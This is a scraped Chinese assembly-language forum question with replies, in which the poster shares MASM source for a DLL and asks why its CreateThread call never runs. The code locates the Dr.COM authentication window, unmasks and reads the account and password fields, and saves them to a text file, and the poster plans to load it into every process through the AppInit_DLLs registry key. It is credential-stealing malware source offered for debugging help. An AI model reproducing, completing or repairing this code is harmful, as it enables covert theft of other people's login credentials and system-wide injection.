读书人

CreateThread创建的线程为何无法正常运

发布时间: 2012-02-04 15:43:08 作者: rapoo

CreateThread创建的线程为何无法正常运行?
.386
.model flat, stdcall
option casemap :none
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
; Include 文件定义
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
includewindows.inc
includeuser32.inc
includelibuser32.lib
includekernel32.inc
includelibkernel32.lib
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
; #########################################################################

szText MACRO Name, Text:VARARG
LOCAL lbl
jmp lbl
Name db Text,0
lbl:
ENDM

m2m MACRO M1, M2
push M2
pop M1
ENDM

return MACRO arg
mov eax, arg
ret
ENDM
; #########################################################################
.data

szCaption db 'szCaption ',0
szClaStat db 'Static ',0
szClaEdit db 'Edit ',0
szTitAcc db '用户帐号 ',0
szTitPsw db ' 密 码 ',0
szLog db 'DrcomPsw.txt ',0
szDestClass db '#32770 ',0;目标窗口的窗口类
szDrCaption db 'Dr.COM 用户认证程序 ',0


.data?
hInstance dd ?
hdrcom dd ?
hEditAcc dd ?
hEditPsw dd ?
hFile dd ?
hFind dd ?
oldWndPrc dd ?
idTimer dd ?


szPsw db 255 dup(?)
szAcc db 255 dup(?)
ThreadID DWORD ?

.const
szLogtxtdb '帐号:%s ',0dh,0ah
db '密码:%s ',0dh,0ah,0
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
.code
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
;保存密码到DrcomPsw.txt文件
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
_SavePassproc

local @szBuffer[35]:byte,@dwBytesWrite

invoke RtlZeroMemory,addr @szBuffer,sizeof @szBuffer
invoke wsprintf,addr @szBuffer,addr szLogtxt,addr szAcc,addr szPsw
invoke CreateFile,addr szLog,GENERIC_WRITE,FILE_SHARE_READ,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
mov hFile,eax
invoke WriteFile,hFile,addr @szBuffer,35,addr @dwBytesWrite,NULL
invoke CloseHandle,hFile

xor eax, eax
ret
_SavePassendp
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
; 得到登陆窗口中帐号和密码框的句柄
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
_FoundDrocmproc_hWnd,_uMsg,_idEvent,_dwTime

invokeFindWindow,addr szDestClass,addr szDrCaption
.ifeax
movhdrcom,eax
.endif

.if hdrcom

invoke FindWindowEx,hdrcom,NULL,addr szClaStat,addr szTitAcc


.if eax
invoke FindWindowEx,hdrcom,eax,addr szClaEdit,NULL
mov hEditAcc,eax
invoke SendMessage, hEditAcc, WM_GETTEXT, 255, addr szAcc
.endif

invoke FindWindowEx,hdrcom,NULL,addr szClaStat,addr szTitPsw
.if eax
invoke FindWindowEx,hdrcom,eax,addr szClaEdit,NULL
mov hEditPsw,eax
invoke PostMessage,hEditPsw,EM_SETPASSWORDCHAR,0,0
invoke SendMessage, hEditPsw, WM_GETTEXT, 255, addr szPsw
.endif

.endif

invoke _SavePass

xor eax, eax
ret

_FoundDrocmendp
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
; 设置一个TIMER
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
_FindDrocmproc

invoke SetTimer,NULL,NULL,100,addr _FoundDrocm
mov idTimer,eax
xor eax, eax
ret

_FindDrocmendp
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
; 设置一个TIMER
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
_Killtimerproc

invokeKillTimer,NULL,idTimer
xor eax, eax


ret

_Killtimerendp
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
_GetPsw proc

;关键!!返回密码!(前提是密码必须放在共享段!)
lea eax, szPsw
ret

_GetPsw endp
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
_GetAcc proc

;关键!!返回密码!(前提是帐户必须放在共享段!)
lea eax, szAcc
ret

_GetAcc endp
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
; dll 的入口函数
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
DllEntryproc_hInstance,_dwReason,_dwReserved

push_hInstance
pophInstance

szText LmTitle, "tstdll 's LibMain Function "

.if _dwReason == DLL_PROCESS_ATTACH
szText ATTACHPROCESS, "PROCESS_ATTACH "
invoke DisableThreadLibraryCalls,hInstance
invoke CreateThread,NULL,0,addr _FindDrocm,0,0,addr ThreadID

mov hFind,eax

return TRUE
; -----------------------------
; If error at startup, return 0
; System will abort loading DLL
; -----------------------------

.elseif _dwReason == DLL_PROCESS_DETACH


szText DETACHPROCESS, "PROCESS_DETACH "
.if hFind
invoke TerminateThread,hFind,0
.endif
invoke MessageBox,NULL,addr DETACHPROCESS,addr LmTitle,MB_OK

.elseif _dwReason == DLL_THREAD_ATTACH
szText ATTACHTHREAD, "THREAD_ATTACH "
invoke MessageBox,NULL,addr ATTACHTHREAD,addr LmTitle,MB_OK

.elseif _dwReason == DLL_THREAD_DETACH
szText DETACHTHREAD, "THREAD_DETACH "
invoke MessageBox,NULL,addr DETACHTHREAD,addr LmTitle,MB_OK

.endif

moveax,TRUE
ret

DllEntryEndp
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
EndDllEntry

我本意是写一个DLL,然后添加到[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows] "AppInit_DLLs "里。
可是添加进去就蓝屏。
另外CreateThread创建的线程总是无法运行。真晕了。如果用一个程序调用 _FindDrocm就可以。


[解决办法]
自己远程单步调试一下
[解决办法]
OS蓝屏么?分析一下崩溃转储
[解决办法]
_beginthreadex
[解决办法]
RemoteDebugging, Load Symbols

读书人网 >汇编语言

热点推荐